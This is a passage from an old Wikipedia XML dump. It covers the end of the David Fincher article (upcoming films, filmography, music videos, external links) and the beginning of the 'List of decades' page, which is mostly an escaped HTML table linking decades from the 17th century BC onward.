''[[Zodiac (film)|Zodiac]]'' is an adaptation of Robert Graysmith's books about the hunt for [[Zodiac killer]], the film stars [[Jake Gyllenhaal]], [[Robert Downey Jr.]] and [[Mark Ruffalo]].

===Benjamin Button=== 
The fantasy film, ''[[Benjamin Button]]'' is an adaptation of [[F Scott Fitzgerald]]'s short story ''The Curious Case of Benjamin Button''. The film will reunite Fincher with [[Brad Pitt]]. 

===Torso===
Fincher is also attached to direct an adaptation of [[Brian Michael Bendis]]' [[graphic novel]] ''[[Torso (film)|Torso]]''.
 
==Filmography==
===Theatrical films===
*''[[Alien³]]'' (1992)
*''[[Seven (movie)|Se7en]]'' (1995)
*''[[The Game (film)|The Game]]'' (1997)
*''[[Fight Club (film)|Fight Club]]'' (1999)
*''[[Panic Room]]'' (2002)
*''[[Zodiac (film)|Zodiac]]'' (2006) (filming)
*''[[Benjamin Button]]'' (2007) (pre-production)
*''[[Torso (film)|Torso]]'' (tba)

===Music videos===
* &quot;Shame,&quot; [[The Motels]] (1985)
* &quot;All The Love,&quot; [[The Outfield]] (1986)
* &quot;Everytime You Cry,&quot; The Outfield (1986)
* &quot;One Simple Thing,&quot; [[The Stabilizers]] (1986)
* &quot;She Comes On,&quot; [[Wire Train]] (1987)
* &quot;Endless Nights,&quot; [[Eddie Money]] (1987)
* &quot;Downtown Train,&quot; [[Patti Smyth]] (1987)
* &quot;Johnny B,&quot; [[The Hooters]] (1987)
* &quot;Storybook Story,&quot; [[Mark Knopfler]] (1987)
* &quot;No Surrender,&quot; [[The Outfield]] (1987)
* &quot;Don't Tell Me The Time,&quot; [[Martha Davis]] (1987)
* &quot;Heart of Gold,&quot; [[Johnny Hates Jazz]] (1988)
* &quot;[[Englishman in New York]],&quot; [[Sting (musician)|Sting]] (1988)
* &quot;Shattered Dreams&quot; (second version), Johnny Hates Jazz (1988)
* &quot;Get Rhythm,&quot; [[Ry Cooper]] (1988)
* &quot;[[Roll With It]],&quot; [[Steve Winwood]] (1988)
* &quot;The Way That You Love Me&quot; (first version), [[Paula Abdul]] (1988)
* &quot;Holding On,&quot; Steve Winwood (1988)
* &quot;[[Bamboleo]]&quot; (second version), [[Gypsy Kings]] (1989)
* &quot;[[Straight Up (song)|Straight Up]],&quot; Paula Abdul (1989)
* &quot;Real Love,&quot; [[Jody Watley]] (1989)
* &quot;Bamboleo&quot; (third version, Gypsy Kings (1989)
* &quot;She's A Mystery To Me,&quot; [[Roy Orbison]] (1989)
* &quot;[[Forever Your Girl (song)|Forever Your Girl]],&quot; Paula Abdul (1989)
* &quot;[[Express Yourself]],&quot; [[Madonna (entertainer)|Madonna]] (1989)
* &quot;The End Of The Innocence,&quot; [[Don Henley]] (1989)
* &quot;Cold Hearted,&quot; Paula Abdul (1989)
* &quot;Oh Father,&quot; Madonna (1989)
* &quot;Janie's Got A Gun,&quot; [[Aerosmith]] (1989)
* &quot;[[Vogue (song)|Vogue]],&quot; Madonna (1990)
* &quot;Cradle of Love,&quot; [[Billy Idol]] (1990)
* &quot;[[L.A. Woman]],&quot; Billy Idol (1990)
* &quot;[[Freedom '90]],&quot; [[George Michael]] (1990)
* &quot;Bad Girl,&quot; Madonna (1993)
* &quot;Who Is It?&quot; (second version), [[Michael Jackson]] (1993)
* &quot;Love Is Strong,&quot; [[The Rolling Stones]] (1994)
* &quot;6th Avenue Heartache,&quot; [[The Wallflowers]] (1996)
* &quot;Judith,&quot; [[A Perfect Circle]] (2000)
* &quot;Only,&quot; [[Nine Inch Nails]] (2005)

==See also==
*[[List of directors]]

==External links==
* {{imdb name|id=000399|name=David Fincher}}
*[http://www.allmovie.com/cg/avg.dll?p=avg&amp;sql=2:89783 David Fincher] at the [[All Movie Guide]]
*[http://www.sensesofcinema.com/contents/directors/03/fincher.html Senses of Cinema: Great Directors Critical Database]
* Music Videos &amp; Commercials at [http://www.anonymouscontent.com anonymous content]
*[http://www.24liesasecond.com/site2/index.php?page=2&amp;task=index_onearticle.php&amp;Column_Id=72 Love Costs: Rescuing Se7en from Nihilism] essay at 24 Lies A Second

[[Category:1962 births|Fincher, David]]
[[Category:American film directors|Fincher, David]]
[[Category:Music video directors|Fincher, David]]
[[Category:People from Colorado|Fincher, David]]
[[Category:Denverites|Fincher, David]]
[[Category:Living people|Fincher, David]]

[[bg:Дейвид Финчър]]
[[da:David Fincher]]
[[de:David Fincher]]
[[es:David Fincher]]
[[fa:دیوید فینچر]]
[[fr:David Fincher]]
[[it:David Fincher]]
[[nl:David Fincher]]
[[ja:デヴィッド・フィンチャー]]
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[[zh:大卫·芬奇]]</text>
    </revision>
  </page>
  <page>
    <title>List of decades</title>
    <id>8080</id>
    <revision>
      <id>41871771</id>
      <timestamp>2006-03-02T07:07:05Z</timestamp>
      <contributor>
        <username>*drew</username>
        <id>91902</id>
      </contributor>
      <minor />
      <comment>+id:</comment>
      <text xml:space="preserve">:''For other uses of the term, see [[decade (disambiguation)]].''


This is a list of '''decades''' which have articles with more information about them. See also [[centuries]] and [[history]].

During the [[20th Century]] and continuing today it became popular to look at that century's decades as historical entities in themselves. Particular trends, styles, and attitudes would be associated with and define different decades of the century, and thus the names of the decades themselves have come to be synonymous with them. Some commentators suggest that this phenomenon will not continue into the [[21st Century]] with its decades.

&lt;table cellpadding=&quot;1&quot; border=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[17th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1690s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1680s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1670s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1660s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1650s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1640s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1630s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1620s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1610s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1600s BC]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[16th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1590s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1580s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1570s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1560s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1550s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1540s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1530s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1520s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1510s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1500s BC]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[15th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1490s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1480s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1470s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1460s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1450s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1440s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1430s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1420s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1410s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1400s BC]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[14th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1390s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1380s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1370s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1360s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1350s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1340s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1330s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1320s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1310s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1300s BC]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[13th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1290s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1280s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1270s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1260s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1250s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1240s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1230s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1220s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1210s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1200s BC]]&lt;/td&gt;
&lt;/tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[12th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1190s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1180s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1170s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1160s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1150s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1140s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1130s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1120s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1110s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1100s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[11th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1090s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1080s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1070s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1060s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1050s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1040s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1030s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1020s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1010s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1000s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[10th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[990s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[980s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[970s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[960s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[950s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[940s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[930s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[920s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[910s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[900s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[9th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[890s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[880s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[870s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[860s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[850s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[840s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[830s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[820s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[810s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[800s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[8th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[790s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[780s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[770s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[760s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[750s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[740s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[730s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[720s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[710s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[700s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[7th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[690s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[680s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[670s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[660s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[650s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[640s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[630s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[620s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[610s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[600s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[6th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[590s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[580s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[570s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[560s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[550s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[540s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[530s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[520s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[510s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[500s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[5th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[490s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[480s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[470s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[460s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[450s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[440s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[430s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[420s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[410s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[400s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[4th century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[390s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[380s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[370s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[360s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[350s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[340s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[330s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[320s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[310s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[300s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[3rd century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[290s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[280s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[270s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[260s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[250s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[240s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[230s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[220s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[210s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[200s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[2nd century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[190s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[180s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[170s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[160s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[150s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[140s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[130s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[120s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[110s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[100s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[1st century BC]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[90s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[80s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[70s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[60s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[50s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[40s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[30s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[20s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[10s BC]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[0s BC]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[1st century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[0s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[10s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[20s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[30s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[40s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[50s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[60s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[70s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[80s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[90s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[2nd century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[100s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[110s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[120s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[130s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[140s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[150s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[160s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[170s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[180s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[190s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[3rd century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[200s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[210s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[220s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[230s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[240s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[250s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[260s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[270s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[280s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[290s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[4th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[300s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[310s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[320s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[330s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[340s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[350s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[360s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[370s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[380s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[390s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[5th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[400s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[410s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[420s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[430s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[440s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[450s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[460s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[470s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[480s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[490s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[6th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[500s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[510s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[520s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[530s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[540s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[550s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[560s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[570s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[580s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[590s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[7th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[600s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[610s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[620s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[630s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[640s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[650s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[660s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[670s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[680s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[690s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[8th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[700s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[710s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[720s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[730s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[740s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[750s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[760s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[770s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[780s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[790s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[9th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[800s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[810s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[820s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[830s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[840s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[850s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[860s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[870s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[880s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[890s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[10th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[900s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[910s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[920s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[930s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[940s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[950s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[960s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[970s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[980s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[990s]]&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;'''[[11th century]]'''&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1000s]]&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;[[1010s]]&lt;/td&gt;
